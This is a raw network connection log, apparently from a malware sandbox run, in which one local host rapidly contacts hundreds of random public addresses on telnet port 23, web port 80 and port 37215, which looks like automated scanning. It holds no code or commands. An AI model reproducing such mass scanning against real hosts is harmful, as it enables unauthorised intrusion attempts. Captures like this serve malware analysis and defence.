Oct 14, 2024 17:30:12.943347931 CEST	12058	23	192.168.2.14	90.26.222.106
Oct 14, 2024 17:30:12.943348885 CEST	12058	23	192.168.2.14	77.106.207.188
Oct 14, 2024 17:30:12.943350077 CEST	12058	23	192.168.2.14	158.55.17.129
Oct 14, 2024 17:30:12.943363905 CEST	12058	23	192.168.2.14	161.180.185.173
Oct 14, 2024 17:30:12.943365097 CEST	12058	23	192.168.2.14	131.210.146.236
Oct 14, 2024 17:30:12.943375111 CEST	12058	23	192.168.2.14	31.82.7.166
Oct 14, 2024 17:30:12.943376064 CEST	12058	23	192.168.2.14	75.6.29.89
Oct 14, 2024 17:30:12.943392992 CEST	12058	23	192.168.2.14	211.61.57.197
Oct 14, 2024 17:30:12.943393946 CEST	12058	23	192.168.2.14	94.26.49.60
Oct 14, 2024 17:30:12.943397999 CEST	12058	23	192.168.2.14	177.46.14.68
Oct 14, 2024 17:30:12.943413973 CEST	12058	23	192.168.2.14	160.203.215.6
Oct 14, 2024 17:30:12.943418980 CEST	12058	23	192.168.2.14	205.77.164.221
Oct 14, 2024 17:30:12.943419933 CEST	12058	23	192.168.2.14	132.204.0.209
Oct 14, 2024 17:30:12.943432093 CEST	12058	23	192.168.2.14	148.9.230.75
Oct 14, 2024 17:30:12.943437099 CEST	12058	23	192.168.2.14	121.223.84.72
Oct 14, 2024 17:30:12.943444967 CEST	12058	23	192.168.2.14	210.132.240.132
Oct 14, 2024 17:30:12.943449974 CEST	12058	23	192.168.2.14	35.125.49.65
Oct 14, 2024 17:30:12.943454981 CEST	12058	23	192.168.2.14	76.128.245.178
Oct 14, 2024 17:30:12.943470955 CEST	12058	23	192.168.2.14	90.5.59.81
Oct 14, 2024 17:30:12.943471909 CEST	12058	23	192.168.2.14	25.166.255.231
Oct 14, 2024 17:30:12.943476915 CEST	12058	23	192.168.2.14	43.181.56.238
Oct 14, 2024 17:30:12.943484068 CEST	12058	23	192.168.2.14	88.105.195.184
Oct 14, 2024 17:30:12.943484068 CEST	12058	23	192.168.2.14	12.106.221.61
Oct 14, 2024 17:30:12.943500042 CEST	12058	23	192.168.2.14	158.205.225.50
Oct 14, 2024 17:30:12.943500996 CEST	12058	23	192.168.2.14	217.198.8.147
Oct 14, 2024 17:30:12.943502903 CEST	12058	23	192.168.2.14	121.141.200.201
Oct 14, 2024 17:30:12.943519115 CEST	12058	23	192.168.2.14	60.31.69.195
Oct 14, 2024 17:30:12.943522930 CEST	12058	23	192.168.2.14	82.172.251.141
Oct 14, 2024 17:30:12.943526030 CEST	12058	23	192.168.2.14	188.106.76.25
Oct 14, 2024 17:30:12.943527937 CEST	12058	23	192.168.2.14	208.3.149.21
Oct 14, 2024 17:30:12.943528891 CEST	12058	23	192.168.2.14	70.1.17.41
Oct 14, 2024 17:30:12.943537951 CEST	12058	23	192.168.2.14	221.157.76.180
Oct 14, 2024 17:30:12.943545103 CEST	12058	23	192.168.2.14	191.86.36.39
Oct 14, 2024 17:30:12.943558931 CEST	12058	23	192.168.2.14	9.222.168.87
Oct 14, 2024 17:30:12.943559885 CEST	12058	23	192.168.2.14	149.29.105.49
Oct 14, 2024 17:30:12.943567991 CEST	12058	23	192.168.2.14	113.0.103.119
Oct 14, 2024 17:30:12.943578959 CEST	12058	23	192.168.2.14	212.181.180.195
Oct 14, 2024 17:30:12.943593025 CEST	12058	23	192.168.2.14	88.204.172.114
Oct 14, 2024 17:30:12.943593979 CEST	12058	23	192.168.2.14	77.179.16.31
Oct 14, 2024 17:30:12.943603039 CEST	12058	23	192.168.2.14	208.159.95.158
Oct 14, 2024 17:30:12.943603039 CEST	12058	23	192.168.2.14	23.78.207.24
Oct 14, 2024 17:30:12.943628073 CEST	12058	23	192.168.2.14	19.46.210.198
Oct 14, 2024 17:30:12.943633080 CEST	12058	23	192.168.2.14	190.158.132.185
Oct 14, 2024 17:30:12.943634033 CEST	12058	23	192.168.2.14	172.35.46.98
Oct 14, 2024 17:30:12.943644047 CEST	12058	23	192.168.2.14	164.142.148.160
Oct 14, 2024 17:30:12.943650007 CEST	12058	23	192.168.2.14	137.131.154.160
Oct 14, 2024 17:30:12.943653107 CEST	12058	23	192.168.2.14	53.58.3.1
Oct 14, 2024 17:30:12.943672895 CEST	12058	23	192.168.2.14	23.134.76.43
Oct 14, 2024 17:30:12.943674088 CEST	12058	23	192.168.2.14	20.59.118.58
Oct 14, 2024 17:30:12.943674088 CEST	12058	23	192.168.2.14	110.80.168.97
Oct 14, 2024 17:30:12.943675995 CEST	12058	23	192.168.2.14	32.131.129.165
Oct 14, 2024 17:30:12.943681002 CEST	12058	23	192.168.2.14	90.21.167.190
Oct 14, 2024 17:30:12.943691969 CEST	12058	23	192.168.2.14	186.214.222.221
Oct 14, 2024 17:30:12.943706989 CEST	12058	23	192.168.2.14	144.168.4.252
Oct 14, 2024 17:30:12.943706989 CEST	12058	23	192.168.2.14	52.246.219.22
Oct 14, 2024 17:30:12.943712950 CEST	12058	23	192.168.2.14	93.234.142.230
Oct 14, 2024 17:30:12.943713903 CEST	12058	23	192.168.2.14	115.244.182.206
Oct 14, 2024 17:30:12.943721056 CEST	12058	23	192.168.2.14	167.0.165.181
Oct 14, 2024 17:30:12.943726063 CEST	12058	23	192.168.2.14	59.99.178.119
Oct 14, 2024 17:30:12.943741083 CEST	12058	23	192.168.2.14	115.220.230.163
Oct 14, 2024 17:30:12.943741083 CEST	12058	23	192.168.2.14	78.194.97.37
Oct 14, 2024 17:30:12.943742990 CEST	12058	23	192.168.2.14	49.166.215.84
Oct 14, 2024 17:30:12.943752050 CEST	12058	23	192.168.2.14	77.154.65.200
Oct 14, 2024 17:30:12.943763018 CEST	12058	23	192.168.2.14	160.232.87.50
Oct 14, 2024 17:30:12.943770885 CEST	12058	23	192.168.2.14	59.124.14.223
Oct 14, 2024 17:30:12.943775892 CEST	12058	23	192.168.2.14	141.149.106.218
Oct 14, 2024 17:30:12.943779945 CEST	12058	23	192.168.2.14	60.160.185.165
Oct 14, 2024 17:30:12.943783045 CEST	12058	23	192.168.2.14	169.210.202.108
Oct 14, 2024 17:30:12.943798065 CEST	12058	23	192.168.2.14	219.151.162.30
Oct 14, 2024 17:30:12.943799019 CEST	12058	23	192.168.2.14	151.154.90.241
Oct 14, 2024 17:30:12.943816900 CEST	12058	23	192.168.2.14	79.144.174.15
Oct 14, 2024 17:30:12.943821907 CEST	12058	23	192.168.2.14	125.240.3.146
Oct 14, 2024 17:30:12.943825006 CEST	12058	23	192.168.2.14	204.114.114.144
Oct 14, 2024 17:30:12.943826914 CEST	12058	23	192.168.2.14	71.143.115.7
Oct 14, 2024 17:30:12.943841934 CEST	12058	23	192.168.2.14	130.244.155.69
Oct 14, 2024 17:30:12.943850040 CEST	12058	23	192.168.2.14	111.16.57.73
Oct 14, 2024 17:30:12.943854094 CEST	12058	23	192.168.2.14	157.173.181.53
Oct 14, 2024 17:30:12.943854094 CEST	12058	23	192.168.2.14	128.56.5.32
Oct 14, 2024 17:30:12.943877935 CEST	12058	23	192.168.2.14	97.18.10.95
Oct 14, 2024 17:30:12.943880081 CEST	12058	23	192.168.2.14	110.2.96.148
Oct 14, 2024 17:30:12.943890095 CEST	12058	23	192.168.2.14	32.9.131.17
Oct 14, 2024 17:30:12.943895102 CEST	12058	23	192.168.2.14	50.41.11.189
Oct 14, 2024 17:30:12.943902969 CEST	12058	23	192.168.2.14	171.167.162.72
Oct 14, 2024 17:30:12.943911076 CEST	12058	23	192.168.2.14	178.70.38.243
Oct 14, 2024 17:30:12.943913937 CEST	12058	23	192.168.2.14	182.162.198.246
Oct 14, 2024 17:30:12.943923950 CEST	12058	23	192.168.2.14	190.160.35.121
Oct 14, 2024 17:30:12.943932056 CEST	12058	23	192.168.2.14	180.208.245.165
Oct 14, 2024 17:30:12.943937063 CEST	12058	23	192.168.2.14	91.140.123.46
Oct 14, 2024 17:30:12.943943977 CEST	12058	23	192.168.2.14	74.209.69.10
Oct 14, 2024 17:30:12.943943977 CEST	12058	23	192.168.2.14	98.100.145.169
Oct 14, 2024 17:30:12.943953037 CEST	12058	23	192.168.2.14	18.118.53.122
Oct 14, 2024 17:30:12.943962097 CEST	12058	23	192.168.2.14	91.196.53.203
Oct 14, 2024 17:30:12.943962097 CEST	12058	23	192.168.2.14	171.125.95.163
Oct 14, 2024 17:30:12.943969965 CEST	12058	23	192.168.2.14	184.116.209.46
Oct 14, 2024 17:30:12.943979025 CEST	12058	23	192.168.2.14	180.228.84.138
Oct 14, 2024 17:30:12.943986893 CEST	12058	23	192.168.2.14	14.22.146.248
Oct 14, 2024 17:30:12.943989038 CEST	12058	23	192.168.2.14	168.211.26.244
Oct 14, 2024 17:30:12.943995953 CEST	12058	23	192.168.2.14	154.188.189.223
Oct 14, 2024 17:30:12.943998098 CEST	12058	23	192.168.2.14	141.110.212.27
Oct 14, 2024 17:30:12.944014072 CEST	12058	23	192.168.2.14	103.71.128.35
Oct 14, 2024 17:30:12.944015980 CEST	12058	23	192.168.2.14	190.217.52.72
Oct 14, 2024 17:30:12.944031954 CEST	12058	23	192.168.2.14	76.135.47.29
Oct 14, 2024 17:30:12.944036961 CEST	12058	23	192.168.2.14	209.207.21.4
Oct 14, 2024 17:30:12.944036961 CEST	12058	23	192.168.2.14	142.14.203.84
Oct 14, 2024 17:30:12.944056034 CEST	12058	23	192.168.2.14	1.75.160.15
Oct 14, 2024 17:30:12.944065094 CEST	12058	23	192.168.2.14	104.244.241.111
Oct 14, 2024 17:30:12.944065094 CEST	12058	23	192.168.2.14	211.106.78.62
Oct 14, 2024 17:30:12.944072962 CEST	12058	23	192.168.2.14	176.101.241.73
Oct 14, 2024 17:30:12.944083929 CEST	12058	23	192.168.2.14	45.113.77.233
Oct 14, 2024 17:30:12.944097042 CEST	12058	23	192.168.2.14	156.95.149.89
Oct 14, 2024 17:30:12.944097996 CEST	12058	23	192.168.2.14	111.15.183.95
Oct 14, 2024 17:30:12.944103003 CEST	12058	23	192.168.2.14	14.123.85.27
Oct 14, 2024 17:30:12.944111109 CEST	12058	23	192.168.2.14	46.14.166.187
Oct 14, 2024 17:30:12.944120884 CEST	12058	23	192.168.2.14	180.196.64.158
Oct 14, 2024 17:30:12.944123983 CEST	12058	23	192.168.2.14	175.96.215.224
Oct 14, 2024 17:30:12.944140911 CEST	12058	23	192.168.2.14	194.185.158.102
Oct 14, 2024 17:30:12.944144964 CEST	12058	23	192.168.2.14	52.236.253.22
Oct 14, 2024 17:30:12.944154024 CEST	12058	23	192.168.2.14	107.109.18.126
Oct 14, 2024 17:30:12.944155931 CEST	12058	23	192.168.2.14	63.70.33.3
Oct 14, 2024 17:30:12.944159985 CEST	12058	23	192.168.2.14	154.70.73.59
Oct 14, 2024 17:30:12.944165945 CEST	12058	23	192.168.2.14	98.118.199.43
Oct 14, 2024 17:30:12.944174051 CEST	12058	23	192.168.2.14	105.93.44.26
Oct 14, 2024 17:30:12.944180965 CEST	12058	23	192.168.2.14	133.4.111.82
Oct 14, 2024 17:30:12.944189072 CEST	12058	23	192.168.2.14	74.24.75.182
Oct 14, 2024 17:30:12.944196939 CEST	12058	23	192.168.2.14	203.83.75.212
Oct 14, 2024 17:30:12.944196939 CEST	12058	23	192.168.2.14	178.103.47.82
Oct 14, 2024 17:30:12.944217920 CEST	12058	23	192.168.2.14	61.200.172.115
Oct 14, 2024 17:30:12.944224119 CEST	12058	23	192.168.2.14	31.138.175.163
Oct 14, 2024 17:30:12.944224119 CEST	12058	23	192.168.2.14	172.167.226.218
Oct 14, 2024 17:30:12.944245100 CEST	12058	23	192.168.2.14	208.37.103.214
Oct 14, 2024 17:30:12.944246054 CEST	12058	23	192.168.2.14	42.187.219.143
Oct 14, 2024 17:30:12.944250107 CEST	12058	23	192.168.2.14	67.153.145.192
Oct 14, 2024 17:30:12.944257021 CEST	12058	23	192.168.2.14	222.146.20.242
Oct 14, 2024 17:30:12.944264889 CEST	12058	23	192.168.2.14	134.119.193.52
Oct 14, 2024 17:30:12.944269896 CEST	12058	23	192.168.2.14	141.108.170.225
Oct 14, 2024 17:30:12.944284916 CEST	12058	23	192.168.2.14	23.240.224.204
Oct 14, 2024 17:30:12.944287062 CEST	12058	23	192.168.2.14	158.175.85.26
Oct 14, 2024 17:30:12.944292068 CEST	12058	23	192.168.2.14	41.25.10.80
Oct 14, 2024 17:30:12.944299936 CEST	12058	23	192.168.2.14	92.22.10.53
Oct 14, 2024 17:30:12.944308043 CEST	12058	23	192.168.2.14	168.24.160.167
Oct 14, 2024 17:30:12.944319010 CEST	12058	23	192.168.2.14	78.34.165.250
Oct 14, 2024 17:30:12.944323063 CEST	12058	23	192.168.2.14	187.66.217.190
Oct 14, 2024 17:30:12.944338083 CEST	12058	23	192.168.2.14	204.47.185.115
Oct 14, 2024 17:30:12.944338083 CEST	12058	23	192.168.2.14	104.201.91.243
Oct 14, 2024 17:30:12.944345951 CEST	12058	23	192.168.2.14	57.200.245.197
Oct 14, 2024 17:30:12.944353104 CEST	12058	23	192.168.2.14	145.72.245.233
Oct 14, 2024 17:30:12.944358110 CEST	12058	23	192.168.2.14	189.192.217.191
Oct 14, 2024 17:30:12.944369078 CEST	12058	23	192.168.2.14	54.98.179.41
Oct 14, 2024 17:30:12.944375038 CEST	12058	23	192.168.2.14	74.100.241.242
Oct 14, 2024 17:30:12.944377899 CEST	12058	23	192.168.2.14	31.153.185.211
Oct 14, 2024 17:30:12.944387913 CEST	12058	23	192.168.2.14	75.212.189.39
Oct 14, 2024 17:30:12.944392920 CEST	12058	23	192.168.2.14	80.241.45.112
Oct 14, 2024 17:30:12.944395065 CEST	12058	23	192.168.2.14	197.220.153.46
Oct 14, 2024 17:30:12.944411993 CEST	12058	23	192.168.2.14	142.213.0.115
Oct 14, 2024 17:30:12.944411993 CEST	12058	23	192.168.2.14	87.251.28.172
Oct 14, 2024 17:30:12.944411993 CEST	12058	23	192.168.2.14	208.26.164.224
Oct 14, 2024 17:30:12.944431067 CEST	12058	23	192.168.2.14	24.16.50.252
Oct 14, 2024 17:30:12.944431067 CEST	12058	23	192.168.2.14	46.207.11.33
Oct 14, 2024 17:30:12.944437027 CEST	12058	23	192.168.2.14	151.210.97.10
Oct 14, 2024 17:30:12.944447994 CEST	12058	23	192.168.2.14	177.218.107.42
Oct 14, 2024 17:30:12.944448948 CEST	12058	23	192.168.2.14	65.217.196.174
Oct 14, 2024 17:30:12.944453955 CEST	12058	23	192.168.2.14	146.134.160.72
Oct 14, 2024 17:30:12.944461107 CEST	12058	23	192.168.2.14	163.72.249.147
Oct 14, 2024 17:30:12.944478989 CEST	12058	23	192.168.2.14	167.73.210.193
Oct 14, 2024 17:30:12.944484949 CEST	12058	23	192.168.2.14	54.77.71.6
Oct 14, 2024 17:30:12.944488049 CEST	12058	23	192.168.2.14	222.235.47.206
Oct 14, 2024 17:30:12.944504023 CEST	12058	23	192.168.2.14	105.119.227.190
Oct 14, 2024 17:30:12.944504023 CEST	12058	23	192.168.2.14	193.62.170.22
Oct 14, 2024 17:30:12.944515944 CEST	12058	23	192.168.2.14	212.90.14.188
Oct 14, 2024 17:30:12.944518089 CEST	12058	23	192.168.2.14	109.44.153.133
Oct 14, 2024 17:30:12.944519997 CEST	12058	23	192.168.2.14	49.198.9.203
Oct 14, 2024 17:30:12.944529057 CEST	12058	23	192.168.2.14	58.154.162.180
Oct 14, 2024 17:30:12.944529057 CEST	12058	23	192.168.2.14	87.79.102.40
Oct 14, 2024 17:30:12.944535971 CEST	12058	23	192.168.2.14	200.24.27.87
Oct 14, 2024 17:30:12.944555044 CEST	12058	23	192.168.2.14	150.174.14.191
Oct 14, 2024 17:30:12.944555998 CEST	12058	23	192.168.2.14	136.64.195.209
Oct 14, 2024 17:30:12.944566011 CEST	12058	23	192.168.2.14	76.10.53.164
Oct 14, 2024 17:30:12.944570065 CEST	12058	23	192.168.2.14	86.31.230.137
Oct 14, 2024 17:30:12.944578886 CEST	12058	23	192.168.2.14	184.230.20.36
Oct 14, 2024 17:30:12.944590092 CEST	12058	23	192.168.2.14	103.51.86.186
Oct 14, 2024 17:30:12.944592953 CEST	12058	23	192.168.2.14	194.203.162.146
Oct 14, 2024 17:30:12.944602013 CEST	12058	23	192.168.2.14	49.66.72.166
Oct 14, 2024 17:30:12.944610119 CEST	12058	23	192.168.2.14	46.36.65.186
Oct 14, 2024 17:30:12.944614887 CEST	12058	23	192.168.2.14	99.214.204.113
Oct 14, 2024 17:30:12.944623947 CEST	12058	23	192.168.2.14	210.103.86.202
Oct 14, 2024 17:30:12.944628954 CEST	12058	23	192.168.2.14	94.70.125.224
Oct 14, 2024 17:30:12.944628954 CEST	12058	23	192.168.2.14	155.233.216.117
Oct 14, 2024 17:30:12.944637060 CEST	12058	23	192.168.2.14	76.53.241.84
Oct 14, 2024 17:30:12.944643021 CEST	12058	23	192.168.2.14	104.167.224.161
Oct 14, 2024 17:30:12.944658995 CEST	12058	23	192.168.2.14	90.110.17.132
Oct 14, 2024 17:30:12.944658995 CEST	12058	23	192.168.2.14	195.69.142.3
Oct 14, 2024 17:30:12.944673061 CEST	12058	23	192.168.2.14	102.215.124.194
Oct 14, 2024 17:30:12.944675922 CEST	12058	23	192.168.2.14	136.191.190.81
Oct 14, 2024 17:30:12.944679976 CEST	12058	23	192.168.2.14	177.54.69.254
Oct 14, 2024 17:30:12.944695950 CEST	12058	23	192.168.2.14	167.34.65.128
Oct 14, 2024 17:30:12.944696903 CEST	12058	23	192.168.2.14	165.145.65.189
Oct 14, 2024 17:30:12.944709063 CEST	12058	23	192.168.2.14	112.12.84.112
Oct 14, 2024 17:30:12.944717884 CEST	12058	23	192.168.2.14	173.87.160.114
Oct 14, 2024 17:30:12.944722891 CEST	12058	23	192.168.2.14	97.156.141.70
Oct 14, 2024 17:30:12.944722891 CEST	12058	23	192.168.2.14	58.105.252.210
Oct 14, 2024 17:30:12.944742918 CEST	12058	23	192.168.2.14	169.118.237.50
Oct 14, 2024 17:30:12.944744110 CEST	12058	23	192.168.2.14	34.239.139.63
Oct 14, 2024 17:30:12.944756985 CEST	12058	23	192.168.2.14	39.130.48.58
Oct 14, 2024 17:30:12.944766045 CEST	12058	23	192.168.2.14	171.20.194.43
Oct 14, 2024 17:30:12.944772005 CEST	12058	23	192.168.2.14	79.144.119.202
Oct 14, 2024 17:30:12.944783926 CEST	12058	23	192.168.2.14	207.57.115.152
Oct 14, 2024 17:30:12.944783926 CEST	12058	23	192.168.2.14	189.251.91.66
Oct 14, 2024 17:30:12.944801092 CEST	12058	23	192.168.2.14	17.9.124.0
Oct 14, 2024 17:30:12.944807053 CEST	12058	23	192.168.2.14	132.163.247.136
Oct 14, 2024 17:30:12.944823027 CEST	12058	23	192.168.2.14	177.64.243.201
Oct 14, 2024 17:30:12.944828987 CEST	12058	23	192.168.2.14	32.240.147.17
Oct 14, 2024 17:30:12.944828987 CEST	12058	23	192.168.2.14	44.70.166.140
Oct 14, 2024 17:30:12.944828987 CEST	12058	23	192.168.2.14	65.35.28.173
Oct 14, 2024 17:30:12.944828987 CEST	12058	23	192.168.2.14	179.182.72.110
Oct 14, 2024 17:30:12.944828987 CEST	12058	23	192.168.2.14	46.231.114.215
Oct 14, 2024 17:30:12.944835901 CEST	12058	23	192.168.2.14	178.73.39.94
Oct 14, 2024 17:30:12.944860935 CEST	12058	23	192.168.2.14	69.2.231.55
Oct 14, 2024 17:30:12.944861889 CEST	12058	23	192.168.2.14	90.194.9.41
Oct 14, 2024 17:30:12.944874048 CEST	12058	23	192.168.2.14	200.64.78.52
Oct 14, 2024 17:30:12.944879055 CEST	12058	23	192.168.2.14	84.147.151.123
Oct 14, 2024 17:30:12.944880009 CEST	12058	23	192.168.2.14	70.18.106.186
Oct 14, 2024 17:30:12.944889069 CEST	12058	23	192.168.2.14	177.160.72.81
Oct 14, 2024 17:30:12.944902897 CEST	12058	23	192.168.2.14	59.103.142.45
Oct 14, 2024 17:30:12.944904089 CEST	12058	23	192.168.2.14	148.63.30.254
Oct 14, 2024 17:30:12.944904089 CEST	12058	23	192.168.2.14	183.120.253.242
Oct 14, 2024 17:30:12.944907904 CEST	12058	23	192.168.2.14	138.166.246.242
Oct 14, 2024 17:30:12.944914103 CEST	12058	23	192.168.2.14	204.186.80.74
Oct 14, 2024 17:30:12.944915056 CEST	12058	23	192.168.2.14	202.57.13.64
Oct 14, 2024 17:30:12.944927931 CEST	12058	23	192.168.2.14	121.183.18.86
Oct 14, 2024 17:30:12.946583986 CEST	47076	37215	192.168.2.14	41.127.252.72
Oct 14, 2024 17:30:12.947127104 CEST	23	12058	133.92.61.183	192.168.2.14
Oct 14, 2024 17:30:12.947176933 CEST	23	12058	80.77.201.47	192.168.2.14
Oct 14, 2024 17:30:12.947180033 CEST	12058	23	192.168.2.14	133.92.61.183
Oct 14, 2024 17:30:12.947223902 CEST	12058	23	192.168.2.14	80.77.201.47
Oct 14, 2024 17:30:12.948333025 CEST	23	12058	94.26.49.60	192.168.2.14
Oct 14, 2024 17:30:12.948386908 CEST	12058	23	192.168.2.14	94.26.49.60
Oct 14, 2024 17:30:12.975127935 CEST	37215	53014	156.90.211.100	192.168.2.14
Oct 14, 2024 17:30:13.907824039 CEST	53274	80	192.168.2.14	1.107.181.68
Oct 14, 2024 17:30:13.907824039 CEST	53274	80	192.168.2.14	71.246.92.175
Oct 14, 2024 17:30:13.907831907 CEST	53274	80	192.168.2.14	182.194.39.100
Oct 14, 2024 17:30:13.907840967 CEST	53274	80	192.168.2.14	174.153.138.10
Oct 14, 2024 17:30:13.907841921 CEST	53274	80	192.168.2.14	186.157.36.231
Oct 14, 2024 17:30:13.907845020 CEST	53274	80	192.168.2.14	203.32.106.58
Oct 14, 2024 17:30:13.907845020 CEST	53274	80	192.168.2.14	175.12.178.224
Oct 14, 2024 17:30:13.907857895 CEST	53274	80	192.168.2.14	48.107.18.55
Oct 14, 2024 17:30:13.907867908 CEST	53274	80	192.168.2.14	104.235.160.71
Oct 14, 2024 17:30:13.907892942 CEST	53274	80	192.168.2.14	83.126.25.142
Oct 14, 2024 17:30:13.907896042 CEST	53274	80	192.168.2.14	216.107.57.217
Oct 14, 2024 17:30:13.907896042 CEST	53274	80	192.168.2.14	118.178.157.170
Oct 14, 2024 17:30:13.907896042 CEST	53274	80	192.168.2.14	219.181.44.200
Oct 14, 2024 17:30:13.907896042 CEST	53274	80	192.168.2.14	144.62.181.122
Oct 14, 2024 17:30:13.907896042 CEST	53274	80	192.168.2.14	4.0.233.209
Oct 14, 2024 17:30:13.907901049 CEST	53274	80	192.168.2.14	61.250.211.158
Oct 14, 2024 17:30:13.907901049 CEST	53274	80	192.168.2.14	205.130.18.95
Oct 14, 2024 17:30:13.907901049 CEST	53274	80	192.168.2.14	156.133.30.124
Oct 14, 2024 17:30:13.907910109 CEST	53274	80	192.168.2.14	154.165.217.85
Oct 14, 2024 17:30:13.907926083 CEST	53274	80	192.168.2.14	175.190.133.49
Oct 14, 2024 17:30:13.907932997 CEST	53274	80	192.168.2.14	121.76.186.162
Oct 14, 2024 17:30:13.907934904 CEST	53274	80	192.168.2.14	117.94.244.47
Oct 14, 2024 17:30:13.907934904 CEST	53274	80	192.168.2.14	138.114.192.23
Oct 14, 2024 17:30:13.907939911 CEST	53274	80	192.168.2.14	39.31.103.26
Oct 14, 2024 17:30:13.907948017 CEST	53274	80	192.168.2.14	163.150.106.221
Oct 14, 2024 17:30:13.907953024 CEST	53274	80	192.168.2.14	54.235.166.102
Oct 14, 2024 17:30:13.907953024 CEST	53274	80	192.168.2.14	94.97.180.94
Oct 14, 2024 17:30:13.907953978 CEST	53274	80	192.168.2.14	124.1.236.32
Oct 14, 2024 17:30:13.907953024 CEST	53274	80	192.168.2.14	116.222.101.223
Oct 14, 2024 17:30:13.907953978 CEST	53274	80	192.168.2.14	223.179.73.1
Oct 14, 2024 17:30:13.907953024 CEST	53274	80	192.168.2.14	216.70.228.62
Oct 14, 2024 17:30:13.907953978 CEST	53274	80	192.168.2.14	1.79.94.240
Oct 14, 2024 17:30:13.907953024 CEST	53274	80	192.168.2.14	14.2.150.231
Oct 14, 2024 17:30:13.907954931 CEST	53274	80	192.168.2.14	80.229.147.179
Oct 14, 2024 17:30:13.907968044 CEST	53274	80	192.168.2.14	104.19.36.251
Oct 14, 2024 17:30:13.907968044 CEST	53274	80	192.168.2.14	44.19.152.102
Oct 14, 2024 17:30:13.907977104 CEST	53274	80	192.168.2.14	61.198.99.143
Oct 14, 2024 17:30:13.907985926 CEST	53274	80	192.168.2.14	174.240.62.175
Oct 14, 2024 17:30:13.907985926 CEST	53274	80	192.168.2.14	73.165.141.180
Oct 14, 2024 17:30:13.907995939 CEST	53274	80	192.168.2.14	122.239.245.55
Oct 14, 2024 17:30:13.907998085 CEST	53274	80	192.168.2.14	179.163.213.73
Oct 14, 2024 17:30:13.907998085 CEST	53274	80	192.168.2.14	142.191.95.160
Oct 14, 2024 17:30:13.907998085 CEST	53274	80	192.168.2.14	49.189.186.108
Oct 14, 2024 17:30:13.908020020 CEST	53274	80	192.168.2.14	35.0.34.167
Oct 14, 2024 17:30:13.908024073 CEST	53274	80	192.168.2.14	37.82.192.242
Oct 14, 2024 17:30:13.908024073 CEST	53274	80	192.168.2.14	73.80.20.12
Oct 14, 2024 17:30:13.908025026 CEST	53274	80	192.168.2.14	153.5.116.32
Oct 14, 2024 17:30:13.908042908 CEST	53274	80	192.168.2.14	164.64.252.29
Oct 14, 2024 17:30:13.908046007 CEST	53274	80	192.168.2.14	217.125.46.228
Oct 14, 2024 17:30:13.908046007 CEST	53274	80	192.168.2.14	207.62.59.204
Oct 14, 2024 17:30:13.908051014 CEST	53274	80	192.168.2.14	88.221.98.243
Oct 14, 2024 17:30:13.908052921 CEST	53274	80	192.168.2.14	117.254.213.10
Oct 14, 2024 17:30:13.908051014 CEST	53274	80	192.168.2.14	102.238.123.100
Oct 14, 2024 17:30:13.908051968 CEST	53274	80	192.168.2.14	37.40.138.155
Oct 14, 2024 17:30:13.908051968 CEST	53274	80	192.168.2.14	97.195.94.218
Oct 14, 2024 17:30:13.908051968 CEST	53274	80	192.168.2.14	118.33.225.41
Oct 14, 2024 17:30:13.908071041 CEST	53274	80	192.168.2.14	79.124.171.248
Oct 14, 2024 17:30:13.908071041 CEST	53274	80	192.168.2.14	65.113.121.247
Oct 14, 2024 17:30:13.908082962 CEST	53274	80	192.168.2.14	210.124.45.65
Oct 14, 2024 17:30:13.908086061 CEST	53274	80	192.168.2.14	25.173.226.6
Oct 14, 2024 17:30:13.908086061 CEST	53274	80	192.168.2.14	102.126.214.221
Oct 14, 2024 17:30:13.908092022 CEST	53274	80	192.168.2.14	90.118.227.111
Oct 14, 2024 17:30:13.908092976 CEST	53274	80	192.168.2.14	73.159.62.235
Oct 14, 2024 17:30:13.908092976 CEST	53274	80	192.168.2.14	174.207.166.46
Oct 14, 2024 17:30:13.908097982 CEST	53274	80	192.168.2.14	122.26.174.218
Oct 14, 2024 17:30:13.908097982 CEST	53274	80	192.168.2.14	40.101.186.1
Oct 14, 2024 17:30:13.908113956 CEST	53274	80	192.168.2.14	40.245.73.73
Oct 14, 2024 17:30:13.908114910 CEST	53274	80	192.168.2.14	217.92.36.152
Oct 14, 2024 17:30:13.908113956 CEST	53274	80	192.168.2.14	14.143.83.117
Oct 14, 2024 17:30:13.908116102 CEST	53274	80	192.168.2.14	201.255.208.219
Oct 14, 2024 17:30:13.908114910 CEST	53274	80	192.168.2.14	186.245.163.21
Oct 14, 2024 17:30:13.908118963 CEST	53274	80	192.168.2.14	49.93.77.222
Oct 14, 2024 17:30:13.908123970 CEST	53274	80	192.168.2.14	202.51.25.219
Oct 14, 2024 17:30:13.908132076 CEST	53274	80	192.168.2.14	206.214.146.27
Oct 14, 2024 17:30:13.908137083 CEST	53274	80	192.168.2.14	171.198.83.166
Oct 14, 2024 17:30:13.908137083 CEST	53274	80	192.168.2.14	121.216.237.29
Oct 14, 2024 17:30:13.908147097 CEST	53274	80	192.168.2.14	156.11.13.95
Oct 14, 2024 17:30:13.908157110 CEST	53274	80	192.168.2.14	91.251.240.160
Oct 14, 2024 17:30:13.908157110 CEST	53274	80	192.168.2.14	114.207.135.137
Oct 14, 2024 17:30:13.908162117 CEST	53274	80	192.168.2.14	175.94.194.150
Oct 14, 2024 17:30:13.908183098 CEST	53274	80	192.168.2.14	185.229.170.50
Oct 14, 2024 17:30:13.908185005 CEST	53274	80	192.168.2.14	204.129.194.32
Oct 14, 2024 17:30:13.908186913 CEST	53274	80	192.168.2.14	207.209.81.75
Oct 14, 2024 17:30:13.908194065 CEST	53274	80	192.168.2.14	68.227.119.6
Oct 14, 2024 17:30:13.908194065 CEST	53274	80	192.168.2.14	72.46.219.184
Oct 14, 2024 17:30:13.908200979 CEST	53274	80	192.168.2.14	94.187.12.2
Oct 14, 2024 17:30:13.908200979 CEST	53274	80	192.168.2.14	57.196.129.20
Oct 14, 2024 17:30:13.908204079 CEST	53274	80	192.168.2.14	119.98.28.232
Oct 14, 2024 17:30:13.908204079 CEST	53274	80	192.168.2.14	14.187.133.221
Oct 14, 2024 17:30:13.908204079 CEST	53274	80	192.168.2.14	191.144.189.113
Oct 14, 2024 17:30:13.908220053 CEST	53274	80	192.168.2.14	96.132.180.167
Oct 14, 2024 17:30:13.908224106 CEST	53274	80	192.168.2.14	1.36.235.216
Oct 14, 2024 17:30:13.908222914 CEST	53274	80	192.168.2.14	65.63.49.169
Oct 14, 2024 17:30:13.908224106 CEST	53274	80	192.168.2.14	145.83.5.61
Oct 14, 2024 17:30:13.908229113 CEST	53274	80	192.168.2.14	43.203.6.45
Oct 14, 2024 17:30:13.908222914 CEST	53274	80	192.168.2.14	218.187.32.177
